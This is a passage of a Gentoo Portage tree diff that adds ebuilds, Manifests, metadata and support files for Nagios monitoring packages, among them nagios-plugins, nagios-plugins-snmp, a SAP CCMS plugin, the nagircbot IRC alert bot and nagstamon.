+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>sysadmin</herd>
+ <maintainer>
+ <email>flameeyes@gentoo.org</email>
+ </maintainer>
+ <use>
+ <flag name="smart">
+ Install <pkg>sys-apps/smartmontools</pkg> required for
+ S.M.A.R.T. disk monitoring. Disabling the flag removes the
+ plugin file. This plugin also requires the sudo flag to be
+ enable.
+ </flag>
+ </use>
+ <upstream>
+ <remote-id type="github">Flameeyes/nagios-plugins-flameeyes</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-plugins-flameeyes/nagios-plugins-flameeyes-9999.ebuild b/net-analyzer/nagios-plugins-flameeyes/nagios-plugins-flameeyes-9999.ebuild
new file mode 100644
index 000000000000..ed36b23f811a
--- /dev/null
+++ b/net-analyzer/nagios-plugins-flameeyes/nagios-plugins-flameeyes-9999.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit git-2 multilib
+
+EGIT_REPO_URI="https://github.com/Flameeyes/${PN}.git"
+SRC_URI=""
+KEYWORDS=""
+
+DESCRIPTION="Flameeyes's custom Nagios/Icinga plugins"
+HOMEPAGE="https://github.com/Flameeyes/nagios-plugins-flameeyes"
+
+LICENSE="MIT"
+SLOT="0"
+IUSE="smart samba"
+
+RDEPEND="
+ dev-perl/Nagios-Plugin
+ sys-apps/portage
+ dev-perl/Time-Duration
+ dev-perl/TimeDate
+ smart? (
+ sys-apps/smartmontools
+ app-admin/sudo
+ )
+ samba? ( dev-perl/Filesys-SmbClient )"
+DEPEND=""
+
+src_compile() {
+ cat - > "${T}"/50${PN} <<EOF
+Cmnd_Alias NAGIOS_PLUGINS_FLAMEEYES_CMDS = /usr/sbin/smartctl
+User_Alias NAGIOS_PLUGINS_FLAMEEYES_USERS = nagios, icinga
+
+NAGIOS_PLUGINS_FLAMEEYES_USERS ALL=(root) NOPASSWD: NAGIOS_PLUGINS_FLAMEEYES_CMDS
+EOF
+}
+
+src_install() {
+ insinto /etc/sudoers.d
+ doins "${T}"/50${PN}
+
+ dodir /usr/$(get_libdir)/nagios/plugins/flameeyes
+ cp -Rp $(find . -type d -mindepth 1 -maxdepth 1 -not -name .git) \
+ "${D}/usr/$(get_libdir)/nagios/plugins/flameeyes" || die
+
+ dodoc README.md
+}
diff --git a/net-analyzer/nagios-plugins-snmp/Manifest b/net-analyzer/nagios-plugins-snmp/Manifest
new file mode 100644
index 000000000000..af435cde4b89
--- /dev/null
+++ b/net-analyzer/nagios-plugins-snmp/Manifest
@@ -0,0 +1 @@
+DIST nagios-plugins-snmp-0.6.0.tgz 381664 SHA256 c3616feeb817165bc356df8f2daef52e1077f5d97a35c8074cadc68e15c0fff5 SHA512 42fe9e2a9a99876d81731d821b7d1e4700f8637c8a890980f5cb3de4a3985210d86d38fd7ebbd7d075ff616da518cc932f5eb999f47fc3833ed62c1f7d4f4529 WHIRLPOOL 74fd6272690e307bfa996d6db08230dfc4314f14a2e146545913b4d0b42a42168560dded9be51c101a7571411663d74d78a9d1a35d9119b67c3765f28d33187f
diff --git a/net-analyzer/nagios-plugins-snmp/metadata.xml b/net-analyzer/nagios-plugins-snmp/metadata.xml
new file mode 100644
index 000000000000..fad986e477b0
--- /dev/null
+++ b/net-analyzer/nagios-plugins-snmp/metadata.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+</pkgmetadata>
+
diff --git a/net-analyzer/nagios-plugins-snmp/nagios-plugins-snmp-0.6.0-r2.ebuild b/net-analyzer/nagios-plugins-snmp/nagios-plugins-snmp-0.6.0-r2.ebuild
new file mode 100644
index 000000000000..aa6272077bda
--- /dev/null
+++ b/net-analyzer/nagios-plugins-snmp/nagios-plugins-snmp-0.6.0-r2.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit autotools user
+
+DESCRIPTION="Additional Nagios plugins for monitoring SNMP capable devices"
+HOMEPAGE="http://nagios.manubulon.com"
+SRC_URI="http://nagios.manubulon.com/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc ppc64 ~sparc x86"
+IUSE=""
+
+DEPEND="net-analyzer/net-snmp"
+RDEPEND="${DEPEND}"
+
+S=${WORKDIR}/nagios-plugins-snmp
+
+pkg_setup() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+src_prepare() {
+ sed -i -e '/^CFLAGS=""/d' configure.in
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ --sysconfdir=/etc/nagios \
+ --libexec=/usr/$(get_libdir)/nagios/plugins
+}
+
+DOCS=( README NEWS AUTHORS )
+
+src_install() {
+ default
+
+ fowners root:nagios /usr/$(get_libdir)/nagios/plugins
+ fperms o-rwx /usr/$(get_libdir)/nagios/plugins
+}
diff --git a/net-analyzer/nagios-plugins/Manifest b/net-analyzer/nagios-plugins/Manifest
new file mode 100644
index 000000000000..17345c765c25
--- /dev/null
+++ b/net-analyzer/nagios-plugins/Manifest
@@ -0,0 +1 @@
+DIST nagios-plugins-2.0.3.tar.gz 2659772 SHA256 8f0021442dce0138f0285ca22960b870662e28ae8973d49d439463588aada04a SHA512 2753e6f3fc7433a5583fee01e63a65b9ea74155964f2b6e6bf3458e56cb29ea5dbd020f83816044a717b66d6548d203b3a082fba0faedcd629c7a8457bc19b36 WHIRLPOOL 4b0e4024833373df3f0db44657345a1f4495c4022e56bf6b369cc2846f9127e565520f6b7cdf1b94384592e78327d584da7d939a3ac0586e0ae67fd1258c138b
diff --git a/net-analyzer/nagios-plugins/metadata.xml b/net-analyzer/nagios-plugins/metadata.xml
new file mode 100644
index 000000000000..924971afa063
--- /dev/null
+++ b/net-analyzer/nagios-plugins/metadata.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+ <use>
+ <flag name='nagios-dns'>
+ Install <pkg>net-dns/bind-tools</pkg> required for monitoring
+ DNS servers. Disabling the flag does not remove any plugin file.
+ </flag>
+ <flag name='nagios-game'>
+ Install <pkg>games-util/qstat</pkg> required for monitoring FPS
+ servers. Disabling the flag does not remove any plugin file.
+ </flag>
+ <flag name='nagios-ping'>
+ Install <pkg>net-analyzer/fping</pkg> required for fancy ping
+ monitoring. Disabling the flag does not remove any plugin file.
+ </flag>
+ <flag name='ssh'>
+ Install <pkg>net-misc/openssh</pkg> required for monitoring SSH
+ servers. Disabling the flag does not remove any plugin file.
+ </flag>
+ <flag name='snmp' restrict='&gt;=net-analyzer/nagios-plugins-1.4.16-r1'>
+ Install <pkg>dev-perl/Net-SNMP</pkg> required for monitoring
+ SNMP values. Disabling the flag does not remove any plugin file.
+ </flag>
+ </use>
+</pkgmetadata>
+
diff --git a/net-analyzer/nagios-plugins/nagios-plugins-2.0.3-r2.ebuild b/net-analyzer/nagios-plugins/nagios-plugins-2.0.3-r2.ebuild
new file mode 100644
index 000000000000..e77258e0ceff
--- /dev/null
+++ b/net-analyzer/nagios-plugins/nagios-plugins-2.0.3-r2.ebuild
@@ -0,0 +1,98 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib user
+
+DESCRIPTION="Official set of plugins for Nagios"
+HOMEPAGE="http://nagios-plugins.org/"
+SRC_URI="http://nagios-plugins.org/download/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 ~arm ~arm64 hppa ppc ppc64 sparc x86"
+IUSE="ipv6 ldap mysql nagios-dns nagios-ping nagios-game postgres samba snmp ssh +ssl"
+
+# Most of the plugins use automagic dependencies, i.e. the plugin will
+# get built if the binary it uses is installed. For example, check_snmp
+# will be built only if snmpget from net-analyzer/net-snmp[-minimal] is
+# installed. End result: most of our runtime dependencies are required
+# at build time as well.
+#
+# REAL_DEPEND contains the dependencies that are actually needed to
+# build. DEPEND contains those plus the automagic dependencies.
+#
+REAL_DEPEND="dev-lang/perl
+ ldap? ( net-nds/openldap )
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql:* )
+ ssl? ( dev-libs/openssl:0 )"
+
+DEPEND="${REAL_DEPEND}
+ nagios-dns? ( net-dns/bind-tools )
+ nagios-game? ( games-util/qstat )
+ nagios-ping? ( net-analyzer/fping )
+ samba? ( net-fs/samba )
+ ssh? ( net-misc/openssh )
+ snmp? ( dev-perl/Net-SNMP
+ net-analyzer/net-snmp[-minimal] )"
+
+# Basically everything collides with nagios-plugins.
+RDEPEND="${DEPEND}
+ !net-analyzer/monitoring-plugins"
+
+# At least one test is interactive.
+RESTRICT="test"
+
+src_prepare() {
+ # Fix the path to our perl interpreter
+ sed -i -e "1s:/usr/local/bin/perl:/usr/bin/perl:" \
+ "${S}"/plugins-scripts/*.pl || die
+}
+
+src_configure() {
+ # Use an array to prevent econf from mangling the ping args.
+ local myconf=()
+
+ if use ssl; then
+ myconf+=( $(use_with ssl openssl /usr) )
+ else
+ myconf+=( --without-openssl )
+ myconf+=( --without-gnutls )
+ fi
+
+ # The autodetection for these two commands can hang if localhost is
+ # down or ICMP traffic is filtered. Bug #468296.
+ myconf+=( --with-ping-command="/bin/ping -n -U -w %d -c %d %s" )
+
+ if use ipv6; then
+ myconf+=( --with-ping6-command="/bin/ping6 -n -U -w %d -c %d %s" )
+ fi
+
+ econf \
+ $(use_with mysql) \
+ $(use_with ipv6) \
+ $(use_with ldap) \
+ $(use_with postgres pgsql /usr) \
+ "${myconf[@]}" \
+ --libexecdir="/usr/$(get_libdir)/nagios/plugins" \
+ --sysconfdir="/etc/nagios"
+}
+
+DOCS=( ACKNOWLEDGEMENTS AUTHORS CODING ChangeLog FAQ \
+ NEWS README REQUIREMENTS SUPPORT THANKS )
+
+pkg_preinst() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+pkg_postinst() {
+ elog "This ebuild has a number of USE flags that determine what you"
+ elog "are able to monitor. Depending on what you want to monitor, some"
+ elog "or all of these USE flags need to be set."
+ elog
+ elog "The plugins are installed in ${ROOT}usr/$(get_libdir)/nagios/plugins"
+}
diff --git a/net-analyzer/nagios-sap-ccms-plugin/Manifest b/net-analyzer/nagios-sap-ccms-plugin/Manifest
new file mode 100644
index 000000000000..f0259271ba74
--- /dev/null
+++ b/net-analyzer/nagios-sap-ccms-plugin/Manifest
@@ -0,0 +1,2 @@
+DIST sap-ccms-plugin-0.7.3.tar.gz 2948020 SHA256 ce3831bc8156f5fafe8fb4366bd9d4b2df4c85d55c92d4b38c41f10f701206eb
+DIST sap-ccms-plugin-0.8.tar.bz2 10143558 SHA256 6af24e4ac2f3dddc435394e49f491a32c1c1c447025479190e710f1132a708ee
diff --git a/net-analyzer/nagios-sap-ccms-plugin/files/nagios-sap-ccms-plugin-0.8-gentoo.patch b/net-analyzer/nagios-sap-ccms-plugin/files/nagios-sap-ccms-plugin-0.8-gentoo.patch
new file mode 100644
index 000000000000..8ded76b3b7d1
--- /dev/null
+++ b/net-analyzer/nagios-sap-ccms-plugin/files/nagios-sap-ccms-plugin-0.8-gentoo.patch
@@ -0,0 +1,61 @@
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -1,5 +1,5 @@
+
+-VERSION=0.7.3
++VERSION=0.8
+ PLATFORM=$(shell uname -m)
+
+
+@@ -33,12 +33,10 @@
+ SUBDIRS = sap_moni
+ #C-Compiler
+
+-CC=gcc -DSAP_RFC_TIME
+-X_CFLAGS = $(CFLAGS)
++X_CFLAGS = $(CFLAGS) $(LDFLAGS) -DSAP_RFC_TIME
+ SHARED_OBJECTS=libs/$(PLATFORM)/librfccm.so
+
+ ifeq ($(patsubst i%86,x86,$(PLATFORM)), x86)
+- CC=gcc -DSAP_RFC_TIME
+ SHARED_OBJECTS=libs/x86/librfccm.so
+ endif
+
+--- a/src/sap_moni/Makefile 2009-03-16 12:34:26.000000000 +0100
++++ b/src/sap_moni/Makefile 2010-10-20 01:24:14.000000000 +0200
+@@ -1,23 +1,16 @@
+-PLATFORM=$(shell uname -m)
+-
+ #used files
+-SRC_INI = iniparser.c dictionary.c strlib.c
++SRC_INI = dictionary.c strlib.c
+ OBJ_INI = $(SRC_INI:.c=.o)
+ OBJ=ctype_b.o agnt_rfc.o agnt_mon.o $(OBJ_INI)
+
+ SHARED = sap_moni.so
+
+ #C-Compiler
+-CC=gcc -DSAP_RFC_TIME
+-X_CFLAGS=$(CFLAGS) -fPIC
+-
+-ifeq ($(PLATFORM),ppc64)
+- CC=gcc -m64 -DSAP_RFC_TIME
+-endif
++X_CFLAGS=$(CFLAGS) -fPIC -DSAP_RFC_TIME
+
+ #Rules
+ shared: $(OBJ)
+- $(CC) -shared $ $(X_CFLAGS) -o $(SHARED) $(OBJ) -ldl -lm
++ $(CC) -shared $ $(X_CFLAGS) $(LDFLAGS) -o $(SHARED) $(OBJ) -ldl -lm -liniparser
+
+
+ .SUFFIXES: .c .o
+@@ -26,7 +19,7 @@
+
+ #Dependencies
+ agnt_rfc.o: saprfc.h sapitab.h agnt_def.h
+-agnt_mon.o: agnt_def.h iniparser.h sapitab.h
++agnt_mon.o: agnt_def.h sapitab.h
+
+
+ #------
diff --git a/net-analyzer/nagios-sap-ccms-plugin/metadata.xml b/net-analyzer/nagios-sap-ccms-plugin/metadata.xml
new file mode 100644
index 000000000000..bee3b9073f9f
--- /dev/null
+++ b/net-analyzer/nagios-sap-ccms-plugin/metadata.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+ <upstream>
+ <remote-id type="sourceforge">nagios-sap-ccms</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.7.3-r1.ebuild b/net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.7.3-r1.ebuild
new file mode 100644
index 000000000000..2f5e3e04e64d
--- /dev/null
+++ b/net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.7.3-r1.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit multilib
+
+MY_P="sap-ccms-plugin-${PV}"
+
+DESCRIPTION="Nagios plugin that provides an interface to SAP CCMS
+Infrastructure"
+HOMEPAGE="http://sourceforge.net/projects/nagios-sap-ccms/"
+SRC_URI="mirror://sourceforge/nagios-sap-ccms/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86"
+IUSE=""
+
+DEPEND="net-analyzer/nagios-core"
+RDEPEND=${DEPEND}
+
+S=${WORKDIR}/${MY_P}
+
+src_compile() {
+ cd "${S}/src"
+ emake || die "emake failed"
+}
+
+src_install() {
+ cd "${S}/src"
+ exeinto /usr/$(get_libdir)/nagios/plugins
+
+ for file in {check_sap{,_cons,_instance,_instance_cons,_mult_no_thr,_multiple,_system,_system_cons},create_cfg,sap_change_thr}
+ do
+ doexe ${file}
+ done
+
+ chown -R root:nagios "${D}"/usr/$(get_libdir)/nagios/plugins || die "Failed Chown of ${D}usr/$(get_libdir)/nagios/plugins"
+
+ dolib.so sap_moni.so
+ cd "${S}/config"
+
+ dodir /etc/sapmon
+ insinto /etc/sapmon
+ doins "${S}"/config/*
+}
+
+pkg_postinst() {
+ elog "Have a look at /etc/sapmon for configuring ${PN}"
+ elog "Further information can be found at"
+ elog "http://nagios-sap-ccms.sourceforge.net/"
+}
diff --git a/net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.8.ebuild b/net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.8.ebuild
new file mode 100644
index 000000000000..cec284635c32
--- /dev/null
+++ b/net-analyzer/nagios-sap-ccms-plugin/nagios-sap-ccms-plugin-0.8.ebuild
@@ -0,0 +1,67 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs
+
+MY_P="sap-ccms-plugin-${PV}"
+
+DESCRIPTION="Nagios plugin that provides an interface to SAP CCMS
+Infrastructure"
+HOMEPAGE="http://sourceforge.net/projects/nagios-sap-ccms/"
+SRC_URI="mirror://sourceforge/nagios-sap-ccms/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86"
+IUSE=""
+
+QA_PRESTRIPPED="/usr/lib/librfccm.so"
+QA_FLAGS_IGNORED="/usr/lib/librfccm.so"
+
+DEPEND="
+ net-analyzer/nagios-core
+ dev-libs/iniparser
+"
+RDEPEND=${DEPEND}
+
+S="${WORKDIR}/${PN/-plugin*}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ sed -i src/sap_moni/* \
+ -e 's|#include "iniparser.h"|#include <iniparser.h>|g' \
+ || die "sed sap_moni/"
+}
+
+src_compile() {
+ emake -C src CC=$(tc-getCC)
+}
+
+src_install() {
+ cd "${S}/src"
+ exeinto /usr/$(get_libdir)/nagios/plugins
+
+ for file in {check_sap{,_cons,_instance,_instance_cons,_mult_no_thr,_multiple,_system,_system_cons},create_cfg,sap_change_thr}
+ do
+ doexe ${file}
+ done
+
+ chown -R root:nagios "${D}"/usr/$(get_libdir)/nagios/plugins || die "Failed Chown of ${D}usr/$(get_libdir)/nagios/plugins"
+
+ dolib.so sap_moni.so
+ newlib.so $(readlink librfccm.so) librfccm.so
+ cd "${S}/config"
+
+ dodir /etc/sapmon
+ insinto /etc/sapmon
+ doins "${S}"/config/*
+}
+
+pkg_postinst() {
+ elog "Have a look at /etc/sapmon for configuring ${PN}"
+ elog "Further information can be found at"
+ elog "http://nagios-sap-ccms.sourceforge.net/"
+}
diff --git a/net-analyzer/nagios/metadata.xml b/net-analyzer/nagios/metadata.xml
new file mode 100644
index 000000000000..1e6f4b5c1fca
--- /dev/null
+++ b/net-analyzer/nagios/metadata.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <maintainer>
+ <email>mjo@gentoo.org</email>
+ <name>Michael Orlitzky</name>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+ <longdescription>
+ Nagios is a host and service monitor designed to inform you
+ of network problems before your clients, end-users or
+ managers do. It has been designed to run under the Linux
+ operating system, but works fine under most *NIX variants as
+ well. The monitoring daemon runs intermittent checks on
+ hosts and services you specify using external "plugins"
+ which return status information to Nagios. When problems are
+ encountered, the daemon can send notifications out to
+ administrative contacts in a variety of different ways
+ (email, instant message, SMS, etc.). Current status
+ information, historical logs, and reports can all be
+ accessed via a web browser.
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/nagios/nagios-3.5.1.ebuild b/net-analyzer/nagios/nagios-3.5.1.ebuild
new file mode 100644
index 000000000000..1d3d64862327
--- /dev/null
+++ b/net-analyzer/nagios/nagios-3.5.1.ebuild
@@ -0,0 +1,54 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+EAPI=5
+
+inherit multilib
+
+DESCRIPTION="The Nagios metapackage - merge this to pull install all of the nagios packages"
+HOMEPAGE="http://www.nagios.org"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 ~arm ~arm64 hppa ppc ppc64 sparc x86"
+IUSE=""
+
+RDEPEND="~net-analyzer/nagios-core-${PV}
+ >=net-analyzer/nagios-plugins-1.4.13-r1
+ !net-analyzer/nagios-imagepack"
+
+pkg_setup() {
+ # Avoid upgrading from Nagios <3 as the directory structure has changed
+ if has_version '<net-analyzer/nagios-3.0' ; then
+ if [[ "${FORCE_UPGRADE}" ]] ; then
+ echo
+ ewarn "you are upgrading from an incompatible version and have"
+ ewarn "FORCE_UPGRADE set, will build this package while Nagios is running."
+ echo
+ else
+ echo
+ eerror "You are upgrading from an incompatible version."
+ eerror "Please be advised that installation paths have changed to a more FHS"
+ eerror "compliant structure and you won't be able to easily upgrade to"
+ eerror "Nagios 3 therefore. You will have to change your configuration"
+ eerror "to reflect this change, for example Nagios plugins are now installed"
+ eerror "into /usr/$(get_libdir)/nagios/plugins/ instead of /usr/nagios/libexec."
+ echo
+ eerror "If you want to upgrade now, emerge nagios with:"
+ eerror " FORCE_UPGRADE=1 emerge nagios"
+ die "Upgrading from an incompatible version!"
+ echo
+ fi
+ fi
+}
+
+pkg_postrm() {
+ elog "Note: this is a META ebuild for ${P}."
+ elog "to remove it completely or before re-emerging"
+ elog "either use 'depclean', or remove/re-emerge these packages:"
+ elog
+ for dep in ${RDEPEND}; do
+ elog " ${dep}"
+ done
+ echo
+}
diff --git a/net-analyzer/nagios/nagios-4.0.8-r1.ebuild b/net-analyzer/nagios/nagios-4.0.8-r1.ebuild
new file mode 100644
index 000000000000..489c222b64cb
--- /dev/null
+++ b/net-analyzer/nagios/nagios-4.0.8-r1.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="The Nagios metapackage"
+HOMEPAGE="http://www.nagios.org"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE=""
+
+RDEPEND="~net-analyzer/nagios-core-${PV}
+ || ( net-analyzer/nagios-plugins net-analyzer/monitoring-plugins )
+ !net-analyzer/nagios-imagepack"
+
+pkg_postrm() {
+ elog "Note: this is a meta package for ${PN}."
+ elog "To remove it completely, or before re-emerging,"
+ elog "use emerge --depclean."
+}
diff --git a/net-analyzer/nagios/nagios-4.0.8.ebuild b/net-analyzer/nagios/nagios-4.0.8.ebuild
new file mode 100644
index 000000000000..1e9a550d4dfa
--- /dev/null
+++ b/net-analyzer/nagios/nagios-4.0.8.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="The Nagios metapackage"
+HOMEPAGE="http://www.nagios.org"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE=""
+
+RDEPEND="~net-analyzer/nagios-core-${PV}
+ net-analyzer/nagios-plugins
+ !net-analyzer/nagios-imagepack"
+
+pkg_postrm() {
+ elog "Note: this is a meta package for ${PN}."
+ elog "To remove it completely, or before re-emerging,"
+ elog "use emerge --depclean."
+}
diff --git a/net-analyzer/nagircbot/Manifest b/net-analyzer/nagircbot/Manifest
new file mode 100644
index 000000000000..ccf5ccd61af0
--- /dev/null
+++ b/net-analyzer/nagircbot/Manifest
@@ -0,0 +1 @@
+DIST nagircbot-0.0.33.tgz 20085 SHA256 7a7c63a409bdad125b19ec852a772746eda2b1feef71bbdf58bd2a2c785a0887 SHA512 1e4d69cef4a425e8540ff408688cf7899c04098ec47acbd6da601f48e01f808958982e7d8a1519934bd5aa895fe0f8dedc51d80460f85097355d5bdea79fd708 WHIRLPOOL 4a3b89fd0234f0643fde0824bb538617d7dc3f9736ddc18dcfacc6aa217417ed9f25adad2e0f9525b0b90b424c7a9ef95d6b349a997a5143bbe4db72bc751723
diff --git a/net-analyzer/nagircbot/files/conf b/net-analyzer/nagircbot/files/conf
new file mode 100644
index 000000000000..79fc899e11bd
--- /dev/null
+++ b/net-analyzer/nagircbot/files/conf
@@ -0,0 +1,2 @@
+# Put nagircbot arguments here
+# BOTCONF="-f /var/nagios/status.dat -s irc.freenode.net:6667 -c channel -k password -n name"
diff --git a/net-analyzer/nagircbot/files/init b/net-analyzer/nagircbot/files/init
new file mode 100755
index 000000000000..b349593ca2f1
--- /dev/null
+++ b/net-analyzer/nagircbot/files/init
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Technologies, Inc.
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ use net
+}
+
+start() {
+ ebegin "Starting nagircbot"
+ start-stop-daemon --start -x /usr/bin/nagircbot -- $BOTCONF
+ eend $? "Failed to start nagircbot"
+}
+
+stop() {
+ ebegin "Stopping nagircbot"
+ start-stop-daemon --stop -x /usr/bin/nagircbot
+ eend $? "Failed to stop nagircbot"
+}
diff --git a/net-analyzer/nagircbot/metadata.xml b/net-analyzer/nagircbot/metadata.xml
new file mode 100644
index 000000000000..d7649f4b8eb2
--- /dev/null
+++ b/net-analyzer/nagircbot/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>sysadmin</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nagircbot/nagircbot-0.0.33.ebuild b/net-analyzer/nagircbot/nagircbot-0.0.33.ebuild
new file mode 100644
index 000000000000..5712d19a96e0
--- /dev/null
+++ b/net-analyzer/nagircbot/nagircbot-0.0.33.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit toolchain-funcs
+
+DESCRIPTION="An irc bot that alerts you to nagios changes"
+HOMEPAGE="http://www.vanheusden.com/nagircbot"
+SRC_URI="http://www.vanheusden.com/nagircbot/${P}.tgz"
+
+LICENSE="GPL-2" # GPL-2 only
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+CDEPEND="dev-libs/openssl"
+DEPEND="virtual/pkgconfig
+ ${CDEPEND}"
+RDEPEND="net-analyzer/nagios-core
+ ${CDEPEND}"
+
+src_prepare() {
+cp -av Makefile{,.org}
+ sed -i Makefile \
+ -e 's:-lcrypto -lssl:$(shell pkg-config --libs openssl):g' \
+ -e 's:-O2::g;s:-g::g' \
+ || die
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) CXX=$(tc-getCXX)
+}
+
+src_install() {
+ dobin nagircbot
+ newconfd "${FILESDIR}"/conf nagircbot
+ newinitd "${FILESDIR}"/init nagircbot
+}
diff --git a/net-analyzer/nagstamon/Manifest b/net-analyzer/nagstamon/Manifest
new file mode 100644
index 000000000000..76c42365fa49
--- /dev/null
+++ b/net-analyzer/nagstamon/Manifest
@@ -0,0 +1,2 @@
+DIST Nagstamon-0.9.11rc1-20130729.tar.gz 399264 SHA256 feecfab9aa1f91599ccc9c1a948aee20ee65f6fb7852c3ef47a3849d053e0011 SHA512 5b1cf20059d3f3145743e25732a5a93969dd96328c0404efbc7cb540bd596d8d2b307b00c3a2435a047da4ea64f2b03f204be1cb90da60bb42df8fc25831c24d WHIRLPOOL 0eeb334afdd39de3409ff47710d2d4d8301ecf77c53b75a366105d69fea760c79f79b0147c4808525874cd82058a78a2ad1d28a7b3af48111192ba141639ee0b
+DIST Nagstamon-1.0.1.tar.gz 455110 SHA256 e60a2b1fef842deb8377ace02df6791f3dcc5683d9dae4323de3f5f1f8a9893b SHA512 040f3ac03c4945b25345f36d4749903238e05001f40f2777afe5277588aababb24212b538890c4b0ff0e1edef9a950804deb93fb2111bc25c8a773a84b69c353 WHIRLPOOL 8d040c7bb1573451ec0bb7439f0795b8ec6003d292429d3a96a07bb68d0617b23838677c93183d22a9cea10620152b51a3e7d4940642560986d5890f98b13822
